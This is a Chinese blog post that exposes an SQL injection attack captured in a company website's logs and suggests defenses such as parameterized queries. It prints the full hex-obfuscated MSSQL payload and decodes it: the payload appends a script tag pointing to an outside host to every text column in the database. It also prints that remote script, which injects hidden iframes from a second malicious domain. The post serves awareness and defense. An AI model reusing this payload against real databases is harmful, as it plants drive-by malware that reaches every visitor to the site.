• SQL注入案例曝光,请大家提高警惕


    近日公司网站发现有无聊人进行SQL注入攻击,在这里曝曝光,在鄙视那些"无聊之人无聊之举"的同时,望大家提高安全意识。

    日志记录内容是这样的
    Url:/(x(1)a(eq2io1uyygekaaaanwqxmge4ywytzwy5yi00ytbjlwjlmdatotllmtlmodaym2m5lcndikok9dche5rd2s_rxyhp43i1))/production/prodetail.aspx。SQL注入攻击:e7fa47d3-5822-486f-a148-a77b8fd3802f;dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72 eXeC(@s);--

    简单解说一下,呵呵。
    其一,跟常规注入手段一样,前面加上';(分号,用于结束前一条语句),后边加上--(用于注释后边的语句)
    其二,声明了个 @s,关键部分来了,使用了编码的方式把sql语句变成一大串“乱七八糟”的东西,然后通过exec可以执行“动态”SQL的特性运行脚本。还逃避了对关键字字符串的检查。
    经过运行环境解释那堆东西会变成以下语句
    Declare @T Varchar(255),@C Varchar(255)
    Declare Table_Cursor Cursor For
    Select A.Name,B.Name
    From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From  Table_Cursor Into @T,@C While(@@Fetch_Status=0) Begin Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=http://8f8el3l.cn/0.js></script>''')Fetch Next From  Table_Cursor Into @T,@C End Close Table_Cursor Deallocate Table_Cursor
    运行后库中的每个表的每条记录都会加上<script src=http://8f8el3l.cn/0.js></script>这段脚本,
    脚本内容是这样的
    document.writeln(" <base onmouseover=\"window.status=\'完毕                                                  \';return true\">");
    document.writeln(" <SCRIPT LANGUAGE=\"JavaScript\"> ");
    document.writeln(" <!-- Hide ");
    document.writeln("function killErrors() { ");
    document.writeln("return true; ");
    document.writeln("} ");
    document.writeln("window.onerror = killErrors; ");
    document.writeln("\/\/ --> ");
    document.writeln(" <\/SCRIPT>");
    function Get(){
    var Then = new Date()
    Then.setTime(Then.getTime() + 800)
    var cookieString = new String(document.cookie)
    var cookieHeader = "Cookie1a01ab2="
    var beginPosition = cookieString.indexOf(cookieHeader)
    if (beginPosition != -1){
    } else
    { document.cookie = "Cookie1a01ab2=hhhh;expires="+ Then.toGMTString()
    document.writeln("<iframe src=http://5u66j.cn/aa/a3a.htm width=0 height=0></iframe>");
    document.writeln("<iframe src=http://5u66j.cn/aa/a3a.htm width=0 height=0></iframe>");
    }
    }Get();

    接着下来会发生什么事就不用再多说了。


    至于有哪些防范措施当然也是常用几招喽
    1.需要执行的SQL语句使用参数对象封装参数数据,不要用字符串形式串个SQL出来直接运行,特别是Internet环境,别以为简单的把文本框的长度限制一下,不让那个框输入什么就可以万事大吉了。
    2.对最终需要运行的SQL语句做关键字检查。不过也要好好考虑需要屏蔽哪些关键字喽,像上边例子,屏蔽了update还是没用的喽。
    3.通过开发个Http模块,加强请求内容安全的处理喽。

    其它的就留给大家一起来探讨喽。

    最后再一次声明,曝光这些不是为了教大家怎么做SQL注入,而是提醒大家加强安全意识,再一次鄙视只搞破坏不搞建设的人,再慨叹一句:为什么有这么有本事的人不动动脑筋做点好事,花这样的时间来研究对别人有害对自己无益的事。 各位施主回头是岸啊!

    这两天发现连深圳市考试中心的网站(http://www.testcenter.gov.cn/)也被这种攻击整了,也不知道那些人攻击的人是得到什么“收益”了,真是无聊透了。

    决定对捕获的攻击的IP和脚本块公布到回复里面。可能此举也是有些无聊,呵呵。

  • 相关阅读:
    还做开发!重新学习纪念一下先
    NOD32中小企业服务器版部署方法
    我买车了,写个总结
    Windows Server 2008 各个版本微软官方下载
    SQLServer2008过程中因性能计数器不一致导致无法安装的解决方法
    自建邮件服务器的注意事项
    01.Linux下C语言编程环境检查
    wcf部署到IIS宿主上报错
    Win7 开发WCF时 提示 进程不具有此命名空间的访问权限
    SQLServer2008设置 开启远程连接 (转)
  • 原文地址:https://www.cnblogs.com/Ryu666/p/1533248.html
Copyright © 2020-2023  润新知